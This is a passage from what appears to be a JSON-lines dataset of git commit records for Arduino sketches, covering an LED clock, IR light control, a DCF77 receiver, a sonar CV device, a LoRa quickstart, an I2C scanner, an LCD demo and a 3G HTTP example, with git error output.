();\n strip.show (); \/\/ Initialize all pixels to 'off'\n \n \/\/ Dim on board LED - it is way too bright\n RGB.control(true);\n RGB.color(4, 1, 0);\n updateTimer.SetCallback(OnTimer);\n}\n\n\nvoid loop ()\n{\n updateTimer.Update();\n \/\/ Check if we have summer or winter (normal) DST time\n if (IsDst(Time.day(), Time.month(), Time.weekday())) {\n \/\/We ard saving daylight - It is Summertime\n Time.zone(+2);\n } else {\n \/\/We are NOT saving daylight - It is Wintertime and this is the normal\n Time.zone(+1);\n }\n positions.update ();\n segments.draw ();\n}\n\nbool IsDst(uint8_t day, uint8_t month, uint8_t dow)\n{\n if (month < 3 || month > 10) return false; \n if (month > 3 && month < 10) return true; \n\n uint8_t previousSunday = day - dow;\n\n if (month == 3) return previousSunday >= 25;\n if (month == 10) return previousSunday < 25;\n\n return false; \/\/ this line never gonna happend\n}\n\nvoid OnTimer(void) { \/\/Handler for the timer, will be called automatically\n if (LEDflag == FALSE) {\n digitalWrite(LED, HIGH); \/\/ Turn ON the LED\n LEDflag = TRUE;\n } else {\n digitalWrite(LED, LOW); \/\/ Turn OFF the LED\n LEDflag = FALSE;\n }\n if (Spark.connected() == false) {\n Spark.connect();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'neoclock-dimmed.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5e51abec6a682f3f4349d08baa791872431aeeb5","subject":"delete unuse serial communication","message":"delete unuse serial communication\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c3080e7322ed5b18132b3f15ae2643035854a2bd","subject":"Went over to another 4x ATMega 328 devices to control IR lighting","message":"Went over to another 4x ATMega 328 devices to control IR lighting\n","repos":"akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon","old_file":"src\/TowerFloodIR\/TowerFloodIR.ino","new_file":"src\/TowerFloodIR\/TowerFloodIR.ino","new_contents":"\/\/ Compile for Arduino Pro\/Pro Mini 5V 16Mhz with ATMega 328\n\n\/\/ need to strike RobotIRRemote directory in Arduino IDE libraries folder. Name collision!\n#include <IRremote.h> \/\/ IR connected to pin 3\n#include <Streaming.h>\n#include <Metro.h>\n#include <Simon_Common.h> \/\/ I_RED, etc.\n#include <EasyTransfer.h> \/\/ rx, tx\n#include <SoftwareSerial.h> \/\/ \n\nSoftwareSerial SSerial(A2, A3); \/\/ to A2 and A3 on Tower Moteino, swapping the cabling\nEasyTransfer ET; \ncolorInstruction lastColorInst, newColorInst;\n\nclass IRlight {\n public:\n void begin( uint16_t address, byte sendCount, \n byte on, byte off, byte up, byte down,\n byte red, byte green, byte blue, byte yellow, byte white,\n byte flash, byte strobe, byte fade, byte smooth );\n \n void on(), off(), up(), down();\n void flash(), strobe(), fade(), smooth();\n void color(byte color);\n \n private:\n void send(byte code);\n unsigned long generateCode(byte code);\n \n boolean isOn;\n \n uint16_t addressC;\n byte onC, offC, upC, downC, redC, greenC, blueC, yellowC, whiteC, flashC, strobeC, fadeC, smoothC;\n byte sendCount;\n byte currentColor;\n \n};\n \nIRsend irsend;\n\nIRlight flood; \/\/ Loftek (50W) and off-brand (10W) floods, and RGB strip lighting.\nIRlight miniSubs; \/\/ cute little CR2032s\nIRlight packSubs; \/\/ pack-of-four submersibles\n\n\/\/ about 70 ms to send packet\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial << \"Startup.\" << endl;\n\n SSerial.begin(9600);\n ET.begin(details(newColorInst), &SSerial);\n\n \/\/ LED for notable sending\n pinMode(13, OUTPUT);\n\n \/\/ minisubs \n miniSubs.begin(0x01FE, 1, 0x48, 0x58, 0x48, 0x48, 0x20, 0xA0, 0x60, 0x50, 0x30, 0xC0, 0xC0, 0xC0, 0xC0); \n \/\/ no up and down\n \/\/ strictly address 0x01FE\n \n\/\/ soondarSubs.begin(0x00FF, 0xA2, 0xE2, 0x52, 0x67, 0x22, 0x02, 0xC2, 0xA8, 0x10, 0x5A, 0x5A, 0x38, 0x38);\n\/\/ no strobe and smooth\n \n \/\/ pack of submersibles \n packSubs.begin(0x00FF, 1, 0xB0, 0xF8, 0x90, 0xB8, 0x98, 0xD8, 0x88, 0x38, 0xA8, 0xB2, 0x00, 0x58, 0x30 );\n\/\/ packSubs.begin(0x0018, 2, 0xB0, 0xF8, 0x90, 0xB8, 0x98, 0xD8, 0x88, 0x38, 0xA8, 0xB2, 0x00, 0x30, 0xB2 );\n\/\/ packSubs.begin(0x00F0, 0xB0, 0xF8, 0x90, 0xB8, 0x98, 0xD8, 0x88, 0x38, 0xA8, 0xB2, 0x00, 0x30, 0xB2 );\n \/\/ addresses that work end in 1, 8 and C. 0x00FF, too.\n \/\/ 0x???1, 0x???8, 0x???C and 0x00FF.\n \/\/ flood.color(color); \n\n \/\/ strips, small floods, big floods\n flood.begin(0x00F7, 1, 0xC0, 0x40, 0x00, 0x80, 0x20, 0xA0, 0x60, 0x28, 0xE0, 0xD0, 0xF0, 0xC8, 0xE8);\n\/\/ for( byte i=0; i<10; i++) flood.up();\n \/\/ 50W floods: any damn thing\n \/\/ strips: 0x00F?\n \/\/ 10W floods: 0x??F7\n \n Serial << \"On.\" << endl;\n setOn();\n setOn();\n setOn();\n \n Serial << F(\"Free RAM: \") << freeRam() << endl;\n}\n\n\/\/ first: obey address codes: strips, small floods, minisubs\n\/\/ last: DON'T obey address codes: pack subs, big floods\nvoid setColor(byte color) {\n Serial << F(\"Instruction, color: \") << color << endl;\n\n if( !ET.receiveData() ) miniSubs.color(color); \n if( !ET.receiveData() ) packSubs.color(color); \n if( !ET.receiveData() ) flood.color(color); \n}\nvoid setFade() {\n Serial << F(\"Instruction, fade.\")<< endl;\n\n if( !ET.receiveData() ) miniSubs.fade(); \n if( !ET.receiveData() ) packSubs.fade();\n if( !ET.receiveData() ) flood.fade(); \n}\nvoid setOn() {\n Serial << F(\"Instruction, on.\")<< endl;\n\n if( !ET.receiveData() ) miniSubs.on(); \n if( !ET.receiveData() ) packSubs.on(); \n if( !ET.receiveData() ) flood.on(); \n}\nvoid setOff() {\n Serial << F(\"Instruction, off.\")<< endl;\n\n if( !ET.receiveData() ) miniSubs.off(); \n if( !ET.receiveData() ) packSubs.off(); \n if( !ET.receiveData() ) flood.off(); \n}\n\nvoid loop() {\n \n \/\/ check SSerial\n if( ET.receiveData() ) {\n \/\/ have data. is it different than last?\n if( memcmp((void*)(&newColorInst), (void*)(&lastColorInst), sizeof(colorInstruction)) != 0 ) {\n if( newColorInst.red > 0 && newColorInst.green > 0 && newColorInst.blue > 0 ) setColor(4); \/\/ white\n else if( newColorInst.red > 0 && newColorInst.green > 0 ) setColor(I_YEL);\n else if( newColorInst.red > 0 ) setColor(I_RED);\n else if( newColorInst.green > 0 ) setColor(I_GRN);\n else if( newColorInst.blue > 0 ) setColor(I_BLU);\n else setOff();\n \n lastColorInst = newColorInst;\n } \n } \n\n}\n\nvoid IRlight::begin(uint16_t address, byte sendCount,\n byte on, byte off, byte up, byte down,\n byte red, byte green, byte blue, byte yellow, byte white,\n byte flash, byte strobe, byte fade, byte smooth ) {\n \/\/ with this information set up codes\n \n this->addressC = address;\n this->sendCount = sendCount;\n \n this->onC = on;\n this->offC = off;\n this->upC = up;\n this->downC = down;\n \n this->redC = red;\n this->greenC = green;\n this->blueC = blue;\n this->yellowC = yellow;\n this->whiteC = white;\n \n this->flashC = flash;\n this->strobeC = strobe;\n this->fadeC = fade;\n this->smoothC = smooth;\n \n this->currentColor = 255; \/\/ not set\n this->isOn = false;\n \n}\n\nvoid IRlight::color(byte color) {\n \n \/\/ turn on.\n if( !this->isOn ) this->on();\n\n if( this->isOn && color == currentColor ) return; \/\/ no need.\n \n \/\/ track\n currentColor = color;\n \n switch( color ) {\n case I_RED: send(redC); break;\n case I_GRN: send(greenC); break;\n case I_BLU: send(blueC); break;\n case I_YEL: send(yellowC); break;\n default: send(whiteC); break;\n } \n\n}\n\nvoid IRlight::on() { if( !this->isOn ) send(this->onC); this->isOn=true; }\nvoid IRlight::off() { if( this->isOn ) send(this->offC); this->isOn=false; }\nvoid IRlight::up() { send(this->upC); }\nvoid IRlight::down() { send(this->downC); }\nvoid IRlight::flash() { send(this->flashC); }\nvoid IRlight::strobe() { send(this->strobeC); }\nvoid IRlight::fade() { send(this->fadeC); }\nvoid IRlight::smooth() { send(this->smoothC); }\n\nvoid IRlight::send(byte code) {\n unsigned long msg = generateCode(code);\n Serial << \"Send: \" << _HEX(msg);\n unsigned long tic, toc;\n \n for( byte i=0; i<sendCount; i++ ) {\n tic = millis();\n digitalWrite(13, HIGH);\n irsend.sendNEC(msg, 32);\n digitalWrite(13, LOW);\n toc = millis();\n delay(100UL - (toc-tic));\n }\n Serial << \" \" << toc-tic << \" ms. x\" << sendCount << endl;\n\n}\n\nunsigned long IRlight::generateCode(byte code) {\n unsigned long retCode=0;\n \n\/\/ Serial << \"generateCode: address=\" << _HEX(address) << \" code=\" << _HEX(code) << \" complement=\" << _HEX(255 & ~code) << endl;\n \n retCode |= ((unsigned long)this->addressC) << 16;\n retCode |= ((unsigned long)code) << 8;\n retCode |= (255 & ~code);\n \n return( retCode );\n}\n\nint freeRam () {\n extern int __heap_start, *__brkval;\n int v;\n return (int) &v - (__brkval == 0 ? (int) &__heap_start : (int) __brkval);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/TowerFloodIR\/TowerFloodIR.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec5db14f35c366f8909dc31152a693a21e87f47e","subject":"add example which use isPulse and setSplitTime","message":"add example which use isPulse and setSplitTime\n","repos":"ThoMo\/DCF77,ThoMo\/DCF77","old_file":"examples\/DCFCheck\/DCFCheck.ino","new_file":"examples\/DCFCheck\/DCFCheck.ino","new_contents":"#include <DCF77.h>\n#include <Time.h> \n\n#define DCF_PIN 2\n#define DCF_INTERRUPT 0\n\n#define BLINK_PIN 13\n\n#define ON_RISING_FLANK true\n\nbool last = LOW;\n\nDCF77 DCF(DCF_PIN, DCF_INTERRUPT, ON_RISING_FLANK); \n\nvoid setup() {\n pinMode(BLINK_PIN, OUTPUT);\n \n Serial.begin(9600); \n DCF.Start();\n DCF.setSplitTime(105, 205);\n}\n\nvoid loop() {\n time_t DCFtime = DCF.getTime(); \/\/ Check if new DCF77 time is available\n if (DCFtime!=0) {\n setTime(DCFtime);\n digitalClockDisplay();\n } \n \n if (DCF.isPulse()) {\n if (ON_RISING_FLANK && last == LOW) {\n Serial.println();\n }\n last = HIGH;\n digitalWrite(BLINK_PIN, HIGH);\n Serial.print(\"1\");\n } else {\n if (!ON_RISING_FLANK && last == HIGH) {\n Serial.println();\n }\n last = LOW;\n digitalWrite(BLINK_PIN, LOW);\n Serial.print(\"0\");\n }\n \n delay(10);\n}\n\nvoid digitalClockDisplay(){\n \/\/ digital clock display of the time\n Serial.println(); \n Serial.println(); \n Serial.print(hour());\n printDigits(minute());\n printDigits(second());\n Serial.print(\" \");\n Serial.print(day());\n Serial.print(\" \");\n Serial.print(month());\n Serial.print(\" \");\n Serial.print(year()); \n Serial.println(); \n Serial.println(); \n}\n\nvoid printDigits(int digits){\n \/\/ utility function for digital clock display: prints preceding colon and leading 0\n Serial.print(\":\");\n if(digits < 10)\n Serial.print('0');\n Serial.print(digits);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DCFCheck\/DCFCheck.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"39dc4928a614f5264d8f291c8bc8bddd5848da0a","subject":"DistCV v0.1","message":"DistCV v0.1\n\nsonar distance to CV\n","repos":"Sonoscopia\/KidModular,Sonoscopia\/KidModular","old_file":"DistCV\/DistCV_firmeware\/DistCV_firmeware.ino","new_file":"DistCV\/DistCV_firmeware\/DistCV_firmeware.ino","new_contents":"\/* KID MODULAR - DistCV v0.1 \n * a project by Sonoscopia\n * developed by Tiago \u00c2ngelo (aka p1nh0) - 15.06.2017\n * \n *\/\n\n#include <NewPing.h>\n\n#define TRIGGER_PIN 12 \n#define ECHO_PIN 11 \n#define MAX_DISTANCE 100 \/\/ Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.\n\n#define POT1 0\n#define POT2 1\n#define CVOUT 9\n#define RED 5\n#define GREEN 6 \n\nbyte mMin, mMax, dist, cv; \n\nNewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); \/\/ NewPing setup of pins and maximum distance.\n\nvoid setup() {\n Serial.begin(115200); \/\/ Open serial monitor at 115200 baud to see ping results.\n pinMode(CVOUT, OUTPUT);\n pinMode(RED, OUTPUT);\n pinMode(GREEN, OUTPUT);\n}\n\nvoid loop() {\n delay(50); \/\/ Wait 50ms between pings (about 20 pings\/sec). 29ms should be the shortest delay between pings.\n Serial.print(\"Ping: \");\n dist = sonar.ping_cm();\n Serial.print(sonar.ping_cm()); \/\/ Send ping, get distance in cm and print result (0 = outside set distance range)\n Serial.println(\"cm\");\n\n \/\/ read pots\n mMin = analogRead(POT1);\n mMax = analogRead(POT2);\n\n cv = map(dist, 0, MAX_DISTANCE, mMin, mMax);\n analogWrite(CVOUT, cv);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DistCV\/DistCV_firmeware\/DistCV_firmeware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fc48be1950de706f7db0d739f05d47400d288538","subject":"Add QuickStart example","message":"Add QuickStart example\n","repos":"TheThingsNetwork\/arduino-device-lib,TheThingsNetwork\/arduino-device-lib,TheThingsNetwork\/arduino-device-lib","old_file":"examples\/QuickStart\/QuickStart.ino","new_file":"examples\/QuickStart\/QuickStart.ino","new_contents":"#include <TheThingsNetwork.h>\n\n\/\/ Set your AppEUI and AppKey\nconst byte appEui[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };\nconst byte appKey[16] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };\n\n#define debugSerial Serial\n#define loraSerial Serial1\n\n#define debugPrintLn(...) { if (debugSerial) debugSerial.println(__VA_ARGS__); }\n#define debugPrint(...) { if (debugSerial) debugSerial.print(__VA_ARGS__); }\n\nTheThingsNetwork ttn;\n\nvoid setup() {\n debugSerial.begin(9600);\n loraSerial.begin(57600);\n\n \/\/ Wait a maximum of 10s for Serial Monitor\n uint32_t timeout = millis() + 10000;\n while (!debugSerial && millis() < timeout);\n\n ttn.init(loraSerial, debugSerial);\n\n debugPrintLn(\"-- RESET\");\n ttn.reset();\n\n \/\/ Wait 10s between each attempt to get a confirmed activation\n debugPrintLn(\"-- JOIN\");\n while(!ttn.join(appEui, appKey)){\n delay(10000);\n }\n\n debugPrintLn(\"-- STATUS\");\n ttn.showStatus();\n}\n\nvoid loop() {\n debugPrintLn(\"-- LOOP\");\n\n \/\/ Get uptime in ms (resets every 50 days)\n uint32_t uptime = millis();\n debugPrintLn(\"Uptime (ms): \" + String(uptime));\n\n \/\/ Encode uptime into 4 bytes\n unsigned char bytes[4];\n longToBytes(uptime, bytes);\n debugPrintLn(\"Uptime (bytes in hex): \" + bytesToHexString(bytes, 4));\n\n \/\/ Send and check for incoming message size\n int downlinkSize = ttn.sendBytes(bytes, 4);\n\n if (downlinkSize > 0) {\n debugPrintLn(\"Downlink (bytes in hex): \" + bytesToHexString(ttn.downlink, downlinkSize));\n debugPrintLn(\"Port: \" + String(ttn.downlinkPort));\n\n \/\/ Only handle messages to port 1 with a size of 1 byte\n if (ttn.downlinkPort == 1 && downlinkSize == 1) {\n \n \/\/ Check the byte\n switch (ttn.downlink[0]) {\n case 0x00:\n debugPrintLn(\"LED: off\");\n digitalWrite(LED_BUILTIN, LOW);\n break;\n case 0x01:\n debugPrintLn(\"LED: on\");\n digitalWrite(LED_BUILTIN, HIGH);\n break;\n }\n }\n }\n \n delay(10000);\n}\n\nvoid longToBytes(long lng, byte bytes[]) { \n bytes[0] = (int) ((lng & 0xFF000000) >> 24 );\n bytes[1] = (int) ((lng & 0x00FF0000) >> 16 );\n bytes[2] = (int) ((lng & 0x0000FF00) >> 8 );\n bytes[3] = (int) ((lng & 0X000000FF) );\n}\n\nString bytesToHexString(const byte* bytes, int length) {\n String str = \"\";\n for (int i = 0; i < length; i++) {\n if (i > 0) {\n str += \" \";\n }\n String hex = String(bytes[i], HEX);\n if (hex.length() != 2) {\n str += \"0\";\n }\n str += hex;\n }\n str.toUpperCase();\n return str;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/QuickStart\/QuickStart.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cb290d6750d6dd7538488040c191f8baee5aad83","subject":"whew last example","message":"whew last example\n","repos":"dwwkelly\/Adafruit_Motor_Shield_V2_Library,dwwkelly\/Adafruit_Motor_Shield_V2_Library,audetto\/Adafruit_Motor_Shield_V2_Library","old_file":"examples\/Accel_MultiStepper\/Accel_MultiStepper.ino","new_file":"examples\/Accel_MultiStepper\/Accel_MultiStepper.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dwwkelly\/Adafruit_Motor_Shield_V2_Library.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"5108ca9a5845cd17e696e70254e3ab569c33334c","subject":"Scan for I2C devices on Jeenode","message":"Scan for I2C devices on Jeenode\n\nScan for I2C devices on a Jeenode port that is set up as an I2C bus.\n","repos":"wmadill\/grant-lighting,wmadill\/grant-lighting","old_file":"sketches\/utils\/i2c_scan\/i2c_scan.ino","new_file":"sketches\/utils\/i2c_scan\/i2c_scan.ino","new_contents":"\/**\n * Script to scan an I2C bus for devices. Blink an LED on Jeenode\n * port 3 to show the sketch is active.\n *\n * The concept for this sketch came from todbot's work on BlinkM's. See\n * http:\/\/todbot.com\/blog\/2009\/11\/29\/i2cscanner-pde-arduino-as-i2c-bus-scanner\/\n *\n * I2C pins\n *\n * JN port pins\n * (1) not used\n * (2) DIO as SDA\n * (3) GND\n * (4) VCC (+)\n * (5) AIO as SCL\n * (6) not used\n *\n * BlinkM pins\n * (1) GND\n * (2) VCC (+)\n * (3) SDA\n * (4) SCL\n *\n * Pin mappings from Jeenode to BlinkM\n * Jeenode BlinkM\n * Pin 2 Pin 3\n * Pin 3 Pin 1 \n * Pin 4 Pin 2\n * Pin 5 Pin 4\n *\n * Be sure to set the Jeenode port number.\n * Set the BlinkM to be powered externally and power\n * it or it won't respond\n *\n * @author Bill <bill@jamimi.com>\n * @license http:\/\/opensource.org\/licenses\/mit-license.php\n *\/\n\n#include <JeeLib.h>\n\n\/\/ Jeenode port to scan\nconst byte portNum = 2;\n\n\/\/ The I2C bus and device objects\nPortI2C i2cBus (portNum);\n\/\/ Device address is set during scan\nDeviceI2C dev (i2cBus, 0);\n\n\/\/ Blink an LED on Jeenode port 3 to show the sketch is active\nPort led (3);\n\nconst byte loDevId = 1;\nconst byte hiDevId = 127;\n\nvoid setup () {\n Serial.begin(57600);\n Serial.print(\"\\nScan I2C bus on port \");\n Serial.println(portNum);\n\n led.mode(OUTPUT);\n\n \/\/ Scan for devices\n for (byte devid = loDevId; devid <= hiDevId; devid++) {\n dev.setAddress(devid);\n Serial.print(devid, DEC);\n Serial.print(\": \");\n dev.isPresent() ? Serial.print(\"yes\") : Serial.print(\"no\");\n devid % 8 ? Serial.print('\\t') : Serial.print('\\n');\n }\n}\n\nvoid loop () {\n \/\/ Blink the LED\n led.digiWrite(1);\n delay(50);\n led.digiWrite(0);\n delay(950);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/utils\/i2c_scan\/i2c_scan.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f026bed0af2c371f330895c26c1b7855029c8351","subject":"unfinished test op","message":"unfinished test op\n","repos":"clydeBruckman\/chirp","old_file":"dfft.ino","new_file":"dfft.ino","new_contents":"#include <Audio.h>\n#include <Wire.h>\n#include <SPI.h>\n#include <SD.h>\n#include <SerialFlash.h>\n\n\/\/ GUItool: begin automatically generated code\nAudioInputAnalog adc1; \/\/xy=175,142\nAudioInputAnalog adc2(A3); \/\/xy=197,252\nAudioAnalyzePeak peak2; \/\/xy=318,322\nAudioAnalyzePeak peak1; \/\/xy=330,78\nAudioFilterStateVariable filter1; \/\/xy=360,141\nAudioFilterStateVariable filter2; \/\/xy=360,253\nAudioRecordQueue queue1; \/\/xy=506,133\nAudioRecordQueue queue2; \/\/xy=526,277\nAudioConnection patchCord1(adc1, peak1);\nAudioConnection patchCord2(adc1, 0, filter1, 0);\nAudioConnection patchCord3(adc2, peak2);\nAudioConnection patchCord4(adc2, 0, filter2, 0);\nAudioConnection patchCord5(filter1, 0, queue1, 0);\nAudioConnection patchCord6(filter2, 0, queue2, 0);\n\/\/ GUItool: end automatically generated code\n\nconst int readPinC = A2;\nconst int readPin1 = A3;\n\nelapsedMicros time;\n\nint mode = 0;\n\nvoid steup() {\n\n\tpinMode(LED_BUILTIN, OUTPUT);\n\tpinMode(readPinC, INPUT);\n\tpinMode(readPin1, INPUT);\n\n\tfilter1.frequency(1000);\n\tfilter2.frequency(1000);\n\n\tAudioMemory(60);\n\n\tSerial.begin(9600);\n\n\tuint16_t sampleC* = queue1.readBuffer();\n\tuint16_t sample* = queue2.readBuffer();\n}\n\nvoid loop() {\n\n}\n\nvoid startRecording() {\n\tSerial.println(\"Recording...\");\n\tqueue2.begin();\n}\n\nvoid continueRecording() {\n\n\tbyte toFFT[1024];\n\tshort int w = 0;\n\n\twhile(w <= 1024) {\n\n\t\tif (queue2.available() >= 2) {\n\t\t\tbyte buffer[128];\n\n\t\t\tmemcpy(buffer, queue2.readBuffer(), 128);\n\t\t\tqueue2.freeBuffer();\n\n\t\t\tbyte sample* = buffer;\n\n\t\t\tshort int i = 0;\n\n\t\t\twhile(*sample) {\n\n\t\t\t\tif( i % 22 == 0) {\n\n\t\t\t\t\ttoFFT[w] = *sample;\n\t\t\t\t\tw++;\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t\tsample += sizeof(byte);\n\t\t\t\t\/\/ only need 4 more samples \n\t\t\t}\n\t\t}\n\t}\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'dfft.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c7aee42ba0a1323d4e55da425b0d5d3cb2acbf66","subject":"Add HelloSatellite.ino from Arduino IDE","message":"Add HelloSatellite.ino from Arduino IDE","repos":"satelliteworkshops\/arduino-workshop,satelliteworkshops\/arduino-workshop,satelliteworkshops\/arduino-workshop","old_file":"HelloSatellite\/HelloSatellite.ino","new_file":"HelloSatellite\/HelloSatellite.ino","new_contents":"#include <LiquidCrystal.h>\n\nLiquidCrystal lcd(14, 15, 5, 4, 3, 2);\n\nvoid setup() { \/\/ Displays Octicat and \"GitHub Satellite\" to LCD\n lcd.begin(16, 2); \/\/ Initializes the LCD and states size in rows, columns\n \n byte octotl[8] = \/\/top-left of octicat icon\n {\n 0b01000,\n 0b01111,\n 0b01111,\n 0b11111,\n 0b10000,\n 0b10010,\n 0b01000,\n 0b01111\n };\n\nbyte octotr[8] = \/\/top-right of octicat icon\n {\n 0b00010,\n 0b11110,\n 0b11110,\n 0b11111,\n 0b00001,\n 0b01001,\n 0b00010,\n 0b11110\n };\n\n byte octobl[8] = \/\/bottom-left of octicat icon\n {\n 0b00001,\n 0b10011,\n 0b01111,\n 0b00011,\n 0b00101,\n 0b00010,\n 0b00000,\n 0b11111\n };\n\n byte octobr[8] = \/\/bottom-right of octicat icon\n {\n 0b10000,\n 0b11000,\n 0b11000,\n 0b11000,\n 0b10100,\n 0b01000,\n 0b00000,\n 0b11111\n };\n \nbyte octowv[8] = { \/\/octowave\n 0b10001,\n 0b01011,\n 0b00111,\n 0b00011,\n 0b00101,\n 0b00010,\n 0b00000,\n 0b11111\n};\n\n \/\/ create a new custom character\n lcd.createChar(0, octotl);\n lcd.createChar(1, octotr);\n lcd.createChar(2, octobl);\n lcd.createChar(3, octobr); \n lcd.createChar(4, octowv);\n}\n\nvoid loop() {\n \/\/ set custom character position\n lcd.setCursor(0, 0);\n \/\/ write custom character 0\n lcd.write((uint8_t)0);\n \/\/ write custom character 1\n lcd.write((uint8_t)1);\n \/\/ Displays \"GitHub\"\n lcd.write(\" GitHub\");\n \n \/\/ set custom character position\n lcd.setCursor(0, 1);\n \/\/ write custom character 2\n lcd.write((uint8_t)2);\n \/\/ write custom character 3\n lcd.write((uint8_t)3);\n \/\/ Displays \"Satellite\"\n lcd.write(\" Satellite\");\n\n delay(1000);\n \n \/\/ set custom character position\n lcd.setCursor(0, 1);\n \/\/ write custom character 2\n lcd.write((uint8_t)4);\n \/\/ write custom character 3\n lcd.write((uint8_t)3);\n \/\/ Displays \"Satellite\"\n lcd.write(\" Satellite\");\n\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HelloSatellite\/HelloSatellite.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4f08767bb303326f14a0af7883a4c3993b466173","subject":"ajouter test http arduino code","message":"ajouter test http arduino code\n","repos":"Etiene\/BMONS,Etiene\/BMONS,Etiene\/BMONS,Etiene\/BMONS","old_file":"hardware\/Arduino_Code\/test_network3g\/test_network3g.ino","new_file":"hardware\/Arduino_Code\/test_network3g\/test_network3g.ino","new_contents":"\/*\n * Description: This example shows how to do a GET method. So the buffer of \n * is limited, we recommend to use the GET method with short answer for the\n * requested webs. \n * This example shows the AT commands (and the answers of the module) used\n * to work with HTTP. For more information about the AT commands, \n * refer to the AT command manual.\n *\n * Copyright (C) 2013 Libelium Comunicaciones Distribuidas S.L.\n * http:\/\/www.libelium.com\n *\n * This program is free software: you can redistribute it and\/or modify \n * it under the terms of the GNU General Public License as published by \n * the Free Software Foundation, either version 3 of the License, or \n * (at your option) any later version. \n * \n * This program is distributed in the hope that it will be useful, \n * but WITHOUT ANY WARRANTY; without even the implied warranty of \n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \n * GNU General Public License for more details. \n * \n * You should have received a copy of the GNU General Public License \n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>. \n *\n * Version 0.2\n * Author: Alejandro Gallego \n *\/\n\n\nint8_t answer;\nint onModulePin = 2, aux;\nint data_size = 0;\nint end_file = 0;\n\nchar aux_str[100];\n\nchar data[250];\nint x = 0;\nlong previous;\n\nchar url[ ]=\"\";\nint port= 3000;\nchar request[ ]=\"ok\";\n\n\n\nvoid setup(){\n\n pinMode(onModulePin, OUTPUT);\n Serial.begin(9600); \n\n Serial.println(\"Starting...\");\n power_on();\n\n delay(3000);\n\n \/\/ sets the PIN code\n sendATcommand(\"AT+CPIN=1234\", \"OK\", 2000);\n\n delay(3000);\n\n while( (sendATcommand(\"AT+CREG?\", \"+CREG: 0,1\", 500) || \n sendATcommand(\"AT+CREG?\", \"+CREG: 0,5\", 500)) == 0 );\n\n \/\/ sets APN, user name and password\n sendATcommand(\"AT+CGSOCKCONT=1,\\\"127.0.0.1\\\",\\\"free\\\"\", \"OK\", 2000);\n sendATcommand(\"AT+CSOCKAUTH=1,1,\\\"\\\",\\\"\\\"\", \"OK\", 2000);\n}\nvoid loop(){\n\/*\n \/\/ request the url\n sprintf(aux_str, \"AT+CHTTPACT=\\\"%s\\\",%d\", url, port);\n answer = sendATcommand(aux_str, \"+CHTTPACT: REQUEST\", 60000);\n\n if (answer == 1)\n { \n Serial.println(request);\n \/\/ Sends <Ctrl+Z>\n aux_str[0] = 0x1A;\n aux_str[1] = 0x00;\n answer = sendATcommand(aux_str, \"+CHTTPACT: DATA,\", 60000);\n\n x=0;\n do{\n if (answer == 1)\n {\n data_size = 0;\n while(Serial.available()==0);\n aux = Serial.read();\n do{\n data_size *= 10;\n data_size += (aux-0x30);\n while(Serial.available()==0);\n aux = Serial.read(); \n }\n while(aux != 0x0D);\n\n Serial.print(\"Data received: \");\n Serial.println(data_size);\n\n if (data_size > 0)\n {\n while(Serial.available() < data_size);\n Serial.read();\n\n for (int y = 0; y < data_size; y++)\n {\n data[x] = Serial.read();\n x++;\n }\n data[x] = '\\0';\n }\n else\n {\n Serial.println(\"Download finished\"); \n }\n }\n else\n {\n Serial.println(\"Error getting the url\");\n data_size = 0;\n }\n\n answer = sendATcommand2(\"\", \"+CHTTPACT: DATA,\", \"+CHTTPACT:0\", 20000);\n \n }while (answer != 1);\n\n if (answer == 2)\n {\n Serial.print(\"Data received:\");\n Serial.println(data);\n }\n else\n {\n Serial.println(\"Error getting data\");\n }\n }\n else\n {\n Serial.println(\"Error waiting the request\"); \n }\n\n delay(10000);\n*\/\n}\n\nvoid power_on(){\n\n uint8_t answer=0;\n\n \/\/ checks if the module is started\n answer = sendATcommand(\"AT\", \"OK\", 2000);\n if (answer == 0)\n {\n \/\/ power on pulse\n digitalWrite(onModulePin,HIGH);\n delay(3000);\n digitalWrite(onModulePin,LOW);\n\n \/\/ waits for an answer from the module\n while(answer == 0){ \n \/\/ Send AT every two seconds and wait for the answer\n answer = sendATcommand(\"AT\", \"OK\", 2000); 